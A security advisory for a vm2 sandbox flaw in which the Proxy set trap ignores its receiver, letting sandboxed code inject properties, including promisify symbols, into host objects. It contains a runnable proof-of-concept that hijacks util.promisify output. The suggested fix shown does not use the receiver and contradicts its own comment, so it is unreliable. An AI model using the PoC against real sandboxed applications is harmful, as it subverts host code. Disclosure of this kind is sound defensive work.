HighGHSA-c4cf-2hgv-2qv6CVE-2026-47209

vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

Published 29 May 2026 · Updated 12 Jun 2026

Affected package

vm2npm
Affected
<3.11.4
Fixed in
3.11.4
Update to the fixed version for your release line, for example:npm install vm2@3.11.4

Details

Summary

The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.

This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.

Vulnerable Code

// bridge.js:1231-1260
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    // ...
    try {
        value = otherFromThis(value);
        return otherReflectSet(object, key, value) === true;
        // BUG: 'receiver' is never used.
        // Should check if receiver !== proxy and handle accordingly.
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Impact

Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:

// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side

Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:

const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

Reproduction

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG

Suggested Fix

set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
        return this.setPrototypeOf(target, value);
    }
    if (key === 'constructor' && thisArrayIsArray(object)) {
        thisReflectSet(target, key, value);
        return true;
    }
    try {
        value = otherFromThis(value);
        // When receiver is not the proxy itself, set on receiver (this-realm)
        // instead of the host target to preserve prototype-chain semantics.
        return otherReflectSet(object, key, value) === true;
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Is GHSA-c4cf-2hgv-2qv6 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.